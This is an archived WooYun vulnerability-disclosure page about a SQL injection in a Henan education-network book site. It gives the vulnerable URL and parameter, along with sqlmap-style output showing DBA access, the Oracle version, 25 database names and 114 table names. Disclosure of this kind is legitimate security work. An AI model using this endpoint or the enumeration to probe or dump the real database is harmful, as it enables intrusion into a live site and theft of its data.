乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-07-04: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-08-18: 厂商已经主动忽略漏洞,细节向公众公开
还有几个洞没给审呢
河南教育网分站http://book.haedu.cn/book/view.asp?bh=278818
服务器和数据库类型
web server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Oraclebanner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi'current user: 'HAEDU'current schema (equivalent to database on Oracle): 'HAEDU'current user is DBA: True
其中数据库
available databases [25]:[*] BJ_ERP[*] BODANI[*] CTXSYS[*] DBSNMP[*] DMSYS[*] ERP2[*] ERP2_TEST[*] EXFSYS[*] HAEDU[*] KGBOOK[*] MAIWANG1KG[*] MDSYS[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] SYS[*] SYSMAN[*] SYSTEM[*] TANFU[*] TEST[*] TEST_KGBOOK[*] TONGSHU[*] TSMSYS[*] WMSYS[*] XDB
HAEDU中的表
Database: HAEDU[114 tables]+------------------------+| DIMING || DV_ACTION || DV_BAOZHANG || DV_BASE || DV_BOOKCOUPON || DV_BOOKSHELF || DV_BOOKWARNING || DV_BOOK_HOT || DV_BT || DV_CART || DV_CHAT || DV_CLIENTMODULE || DV_CUXIAO || DV_CUXIAO_ITEM || DV_DEPART || DV_DISPATCH_BOOK || DV_DISPATCH_PLAN || DV_DISPATCH_PLAN_PLAT || DV_ERP_PARA || DV_FANKUI || DV_FAVORITE || DV_FOCUSBOOK || DV_HUODONG || DV_KC_ITEM || DV_LB2 || DV_LB3 || DV_LB31 || DV_LB_INDEX || DV_LB_INDEX_ITEM || DV_LOSTBOOK || DV_MODULE || DV_NEWS || DV_ORDER || DV_ORDERITEM || DV_ORDER_ITEM_IMPORT || DV_PIC || DV_PINDAO || DV_PINDAO_ITEM || DV_PLAT || DV_PLAT_LINK || DV_PLAT_MAC || DV_PLAT_USER || DV_PROMOTORDER_ITEM_KC || DV_QIANGGOU || DV_REPORT_BOOK || DV_REPORT_FS || DV_REPORT_FS_SEASON || DV_REPORT_PROJECT || DV_ROLE || DV_ROLEUSER_PLAT || DV_ROLE_ACTION || DV_ROLE_MODULE || DV_ROLE_USER || DV_SEARCH || DV_SITE || DV_SITE_BOOK || DV_SUMPLAT || DV_SUMPLAT_PLAT || DV_TEMP_ORDER || DV_TEMP_ORDER_ITEM || DV_TOP || DV_TOP_ITEM || DV_TUIJIE || DV_TUIJIE_ITEM || DV_USER || DV_USER_ZSY || DV_VIEW_LOG || ERP_BASE || ERP_BASE_BZBOOK_ITEM || ERP_BASE_HOTBOOK_ITEM || ERP_BASE_HOT_ITEM || ERP_BASE_OLD || ERP_BASE_TBTJ_ITEM || ERP_BASE_TJBOOK_ITEM || ERP_CBS || ERP_CBS_TMP || ERP_CHEAP || ERP_FS || ERP_FS_DZ || ERP_JK || ERP_LB || ERP_LB2 || ERP_LB3 || ERP_LOGIN || ERP_MODULE || ERP_NEWS || ERP_NEWS_READ || ERP_NEW_LB || ERP_ORDERITEM_ERP || ERP_PART || ERP_PART_MODULE || ERP_PICK || ERP_PICK_ITEM || ERP_PICK_ITEM_BOOK || ERP_PLUS || ERP_RK_USER || ERP_ROLL || ERP_TSD_DBF || ERP_USER || ERP_USER_MODULE || ERP_YCK_CBS || ERP_YCK_DW || ERP_YCK_FS || ERP_YCK_USER || ERP_YF || ERP_YF_ITEM || ERP_YF_ITEM_SUB || ERP_ZK_MANAGEMENT || ERP_ZTF_TYPE || MAIWANG_COMMODITY || PLAN_TABLE || SHIBAIDV_USER || TEMPBOOK || TESTBH |+------------------------+
未能联系到厂商或者厂商积极拒绝